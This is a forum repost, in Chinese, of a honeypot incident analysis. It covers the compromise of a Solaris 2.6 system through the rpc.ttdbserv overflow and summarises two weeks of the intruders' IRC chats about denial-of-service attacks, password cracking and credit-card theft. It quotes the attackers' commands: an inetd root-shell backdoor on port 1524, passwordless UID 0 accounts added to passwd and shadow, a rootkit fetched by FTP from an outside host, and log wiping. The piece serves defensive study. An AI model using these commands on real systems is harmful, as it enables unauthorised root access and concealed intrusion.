發新話題

[分享] 瞭解駭客的動機和心理

瞭解駭客的動機和心理

該篇文章是「瞭解你的敵人」系列之一,該系列主要介紹黑客社團使用的工具和策略。該文章不像該系列其他的文章主要介紹黑客社團怎樣怎樣、特別是他們使用的技術和工具的實現,而是分析他們的動機和心理。第一部分介紹一台Solaris 2.6系統被入侵,第二部分所提到的很少有相關信息發佈,介紹在黑客入侵系統後14天內在「蜜罐」中的通話和行動記錄,通過這些信息我們可以瞭解他們為什麼和怎樣攻擊計算機系統。在入侵後,他們緊接著在系統中放置了一個IRC bot,這個東西是由黑客們所配置和實現的,用來抓取在IRC頻道中的所有聊天記錄。我們在這兩個星期當中一直監視這些記錄,所有的信息都羅列在下面。這篇文章並不是要對整個黑客社團的行為作一個概括,相反,我們通過在事件當中一些個體行為的介紹,來給大家一些提示」他們當中某些人怎樣想和怎樣做「,這也是我們在安全領域所面對的一些普通現象,我們真誠的希望其他安全人員能夠從中受益。

  下面的所有信息是通過"honeynet"得到的。"honeynet",顧名思義,就是由網絡上大量的"蜜罐"所組成,"蜜罐"最簡單的定義就是通過精心設計的將被黑客社團所攻擊的目標主機。一些"蜜罐"是用來分散攻擊者攻擊真正主機的注意力,另外一些是用來學習攻擊者所使用的工具和策略的,我們這裡所提到是屬於後者。在本文中提到的很多信息被做了一些修改,特別是用戶名和口令、信用卡號、以及很多主機名,其他如確切技術細節、工具以及聊天記錄我們並沒有作修改。所有信息在被發布之前都已經遞交給CERT和FBI,同時對於哪些我們確信遭受入侵的系統,大約發了370份通告給它們的管理員。

  第一部分:入侵
  我們這裡使用的"蜜罐"是缺省安裝的Solaris 2.6系統,沒有任何修改和安裝補丁程序。在此討論的漏洞在任何缺省安裝沒有使用補丁程序的Solaris 2.6系統上都存在。這也是整個"蜜罐"的設計意圖,在系統上佈置漏洞並學習它是如何被攻破的。在被攻擊過程中,我們可以學習黑客社團所使用的工具和策略。同時"蜜罐"本身也被設計跟蹤黑客的每一步行為。

  在 2000年6月4日,我們的缺省安裝Solaris 2.6的"蜜罐"遭受到針對rpc.ttdbserv漏洞的攻擊,該漏洞允許在ToolTalk 對象數據庫服務上通過溢出遠程執行代碼(見CVE-1999-0003)。該漏洞在SANS組織的TOP 10上名列第三。我們使用基於sniffer的免費IDS系統Snort檢測到該攻擊的。

Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775

  rpc.ttdbserv漏洞允許遠程用戶通過緩衝溢出攻擊在目標系統上以 root權限執行任意命令。下面是攻擊者在攻擊成功後,在系統上安裝後門,具體如下所示:攻擊者在'/tmp/bob'文件中加上ingreslock服務(在/etc/service預定義的,端口1524),然後以改文件作為配置文件重新啟動inetd,這樣/bin/sh被以root權限幫定在 1524端口,給予了遠程用戶root存取權限。

/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.

  當黑客安裝了後門,他緊接著連接到1524端口,作為root獲得一個 shell,並開始執行如下命令。他增加了兩個系統用戶帳號,以便以後可以telnet上來,注意這裡的錯誤和";"控制字符(因為1524端口的 shell沒有正確的環境)。

# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides     console      May 24 21:09
^M: not found
# exit;

  此時,攻擊者在我們系統上擁有了兩個帳號,他可以以're'用戶telnet上來,並可以通過su成UID為0的'r'用戶來獲得系統root權限。我們將回顧一下攻擊者當時以及後來的擊鍵記錄。

!"' !"P#$#$'LINUX'
SunOS 5.6
login: re
Choose a new password.
New password: abcdef
Re-enter new password: abcdef
telnet (SYSTEM): passwd successfully changed for re
Sun Microsystems Inc.   SunOS 5.6       Generic August 1997
$ su r

  現在黑客擁有了root權限,一般來首,下一步要做的就是安裝一些rootkit並控制系統。首先我們看到黑客在系統上產生一個隱藏目錄來隱藏他的工具包。

# mkdir /dev/".. "
# cd /dev/".. "

  在產生隱藏目錄後,黑客開始從其他機器上存取rootkit。

# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net FTP server (Version 6.00) ready.
Name (shell.example.net:re): j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode data connection for 'sun2.tar' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.

  一旦rootkit被成功下載,該工具包被解開並被安裝。注意整個安裝過程只執行了一個簡單的腳本 setup.sh,這個腳本調用另外一個腳本 secure.sh。你也可以下載在這裡使用整個Solaris rootkit。

# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)

  這裡rootkit安裝腳本第一次清理和攻擊者行為相關的日誌文件信息。

- WTMP:
/var/adm/wtmp is Sun Jun  4 11:47:39 2000
/usr/adm/wtmp is Sun Jun  4 11:47:39 2000
/etc/wtmp is Sun Jun  4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jun  4 11:47:39 2000
/usr/adm/utmp is Sun Jun  4 11:47:39 2000
/etc/utmp is Sun Jun  4 11:47:39 2000
/var/log/utmp cannot open
/var/run/utmp cannot open
UTMP = /var/adm/utmp
Removing user re at pos: 288
Done!
- LASTLOG:
/var/adm/lastlog is Sun Jun  4 11:47:39 2000
/usr/adm/lastlog is Sun Jun  4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun  4 11:47:39 2000
/usr/adm/wtmpx is Sun Jun  4 11:47:39 2000
/etc/wtmpx is Sun Jun  4 11:47:39 2000
/var/log/wtmpx cannot open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun Jun  4 11:47:39 2000
/usr/adm/utmpx is Sun Jun  4 11:47:39 2000
/etc/utmpx is Sun Jun  4 11:47:39 2000
/var/log/utmpx cannot open
/var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found

  在清理完日誌系統後,下一步是加固我們的系統(他們多好啊)。因為他們可以輕鬆的入侵,別人也可以,他們並不想讓別人濫用他們的成果。


./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
   207 ?        0:00 inetd
11467 ?        0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute

以下是引用片段:

  下一步,一個IRC proxy開始運行,在這裡比較迷惑的是隨後腳本殺死了該進程,我也不太明白了。

Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on efnet
--Using conf file ./sys222.conf
--Configuration:
    Daemon port......:9879
    Maxusers.........:0
    Default conn port:6667
    Pid File.........:./pid.sys222
    Vhost Default....:-SYSTEM DEFAULT-
    Process Id.......:11599
Exit ./sys222{7} :Successfully went into the background.
以下是引用片段:

  隨後做了更多的修改,包括拷貝後門程序,包括/bin/login、/bin /ls、/usr/sbin/netstat,以及/bin/ps,而這些在腳本的輸出中並看不到。強烈建議你看一下setup.sh和 secure.sh的源碼,看到底發生了什麼事,說不定一天你不得不查看已經被類似的工具控制的系統。

# kill -9 11467
# ps -u root |grep |grep inetd inetd
   207 ?        0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
# ppUs -u s -u U||U grep  grep ttUtdbtdb
Ups: option requires an argument -- u
usage: ps [ -aAdeflcj ] [ -o format ] [ -t termlist ]
        [ -u userlist ] [ -U userlist ] [ -G grouplist ]
        [ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
  'format' is one or more of:
        user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
        pri opri pcpu pmem vsz rss osz nice class time etime stime
        f s c tty addr wchan fname comm args
# ppUs -s -UAdj | grep ttdbAdj | grep ttdb
以下是引用片段:

  最後,攻擊者運行了IRC bot,該程序是為了保證他們能夠按照自己的意願控制該IRC頻道,同時它也記錄IRC頻道全部的聊天記錄,也正是通過他們安裝的bot,我們得到了他們的所有聊天記錄。

# ../me -f bot2
init: Using config file: bot2
EnergyMech 2.7.1, December 2nd, 1999
Starglider Class EnergyMech
Compiled on Jan 27 2000 07:06:04
Features: DYN, NEW, SEF
init: Unknown configuration item: "NOSEEN" (ignored)
init: Mechs added [ save2 ]
init: Warning: save2 has no userlist, running in setup mode
init: EnergyMech running...
# exit;
$ exit

  當安置好bot後,黑客離開了系統,正是這個bot捕獲了他們的所有對話(見下面第二部分)。如果想得到更多的關於IRC和黑客社團如何利用IRC和bot,可以參考David Brumley的<Tracking Hackers on IRC>。在以後的幾週裡,為了確認仍然控制著系統他們又登上系統幾次。一週後,6月11日,他們再次連接過來嘗試使用該系統進行拒絕服務攻擊。當然,該"蜜罐"設計時已經考慮到阻塞所有使用它作為對外攻擊的基地的嘗試。所有使用該系統進行拒絕服務攻擊的嘗試都會被阻塞掉。

  我們在這裡所看到的是很普通的現象:黑客社團使用的工具和策略,他們根據已知的漏洞隨機掃瞄Internet(在該案例中是rpc.ttdbserv),一旦發現,他們會很快的入侵系統並使用腳本工具安裝後門,一旦控制了系統,他們會安裝bot以確保他們控制著IRC頻道。這裡唯一不一般的是他們的bot為我們所捕獲的聊天信息。在本文的下一部分我們將以他們的聊天記錄分析他們的動機和心理。如果你懷疑你的系統已經被相同的方法入侵,可以參考checklist,它包括了怎樣檢查被入侵系統相關信息。

TOP

第二部分: IRC聊天記錄

  下面是他們的聊天記錄,其中兩個人我們暫且叫做D1ck和J4n3,他們開通的頻道也暫且叫做K1dd13。你將會看到這兩個人的行為,當然還有其他一些人。聊天記錄我們按天分,羅列在下面。我們建議你按順序讀,這樣就會明白髮生的事。這裡所提到的IRC頻道、系統名稱、IP地址都做了相應修改,所有系統的IP地址已經RFC 1918里的非公用IP替代,域名被換成"example",所有提到的信用卡號被換成"xxxx"。如果IRC頻道名相同,純屬巧合。經過仔細考慮,我們沒有過濾掉其中的謾罵的字眼,他們所提到的一些外語,我們也儘可能的翻譯成英語。當你仔細讀他們聊天記錄時,你會發現他們缺乏網絡技巧和知識,經常會看到他們嘗試學習Unix的基本技巧,但是就是他們仍然能夠入侵破壞大量的系統,這些決不是危言聳聽。

Day 1, June 04
開始討論建立一個攻擊程序結構並共享用來攻擊潛在目標的攻擊程序。

Day 2, June 05
今天 D1ck和J4n3共享攻擊程序和拒絕服務攻擊。注意他們吹牛已經攻破了多少網絡,似乎其中一個正在教育網上搜尋Linux主機。同時他們討論了在 Linux和sparc上使用新的rootkit。

Day 3, June 06
D1ck和J4n3吹噓那些他們已經對其進行拒絕服務攻擊地系統,稍後,D1ck教給J4n3如何mount一個設備。最後討論了sniffer(關於如何使用),似乎D1ck在拚命尋找Irix主機的攻擊程序和rootkit。

Day 4, June 07
D1ck和J4n3決定對印度採取決絕服務攻擊和針對bind的攻擊。稍後,他們對那些激怒他們的IRC成員進行拒絕服務攻擊。

Day 5, June 08
D1ck請求J4n3為他入侵三個系統。D1ck和他的密友Sp07想研究一下sniffer是怎樣工作的,包括"是否需要在同一網段上運行"等問題。

Day 6, June 09
這支奇特的隊伍開始忙碌起來,似乎D1ck已經入侵了40個系統。我們有理由相信:如果他們可以掃瞄足夠多的系統,那麼就會有更多的系統遭受入侵。

Day 7, June 10
平淡的一天,D1ck教一個新兵k1dd13 如何使用針對sadmind的攻擊程序,我們不確定D1ck是否自己會使用。

Day 8, June 11
D1ck和J4n3討論他們擁有的系統和那些他們想對其進行拒絕服務的人們,D1ck發現了Ping of Death。

Day 9, June 12
似乎 D1ck撞了大運,他發現了一個ISP並且獲得了超過5000個用戶帳號,現在他們不得不想如何crack這些帳號。

Day 10, June 13
Sp07加入這個團體,似乎他也不太喜歡印度。

Day 11, June 14
他們開始 crack用戶密碼並存取用戶帳號。

Day 12, June 15 Also with 羅馬尼亞譯文
D1ck和J4n3開始嘗試在信用卡頻道里搜尋信用卡號,成功的話,他們可以購買更多的域名

Day 13, June 16 Also with 羅馬尼亞譯文
D1ck 和J4n3仍然在信用卡頻道里搜尋。他們交換信用卡、分享帳號以及色情站點,最後他們把重點放在自己的Web站點。


Day 14, June 17 Also with 羅馬尼亞譯文
D1ck 和J4n3討論如何獲取Linux主機帳號,並談論了很多關於信用卡,然後繼續構建Web站點。

  我們已經回顧了這個黑客社團在14天當中的生活,當讓這些並不意味著所有的黑客都是如此想和行動。我們只是關注了一些個別的特殊的團體。但是我們仍然希望通過這些信息能夠給你些提示:他們的能力如何,他們或許並不是技術高手,甚至不明白他們正在使用的工具。但是,通過對很多系統的攻擊,最終取得了戲劇性的結果,這些不是危言聳聽。他們不關心所造成的後果有多嚴重,他們只關心自己達到了目標。

  結論
  本文的意圖就是要使你明確黑客社團的行為和心理。從一開始的一台Solaris 2.6"蜜罐"遭受入侵開始,證實了一個使用普通的遠程溢出攻擊程序攻擊存在漏洞的系統,一旦遭受入侵,系統很快就會被在黑客社團中普遍使用的工具包 rootkit所控制。這些可能都很普通,但是本文的一個特點就是讓你觀察到黑客的思想行為,你可以看到他們所想的和實際行為以及所說的每一句話,特別是如何攻擊和破壞系統,他們隨機的掃瞄大量的系統並攻擊那些在他們看來存在漏洞的系統。通過理解他們那的行為和思想,你可以更好的保護你的系統免受類似攻擊。

TOP

發新話題

本站所有圖文均屬網友發表,僅代表作者的觀點與本站無關,如有侵權請通知版主會盡快刪除。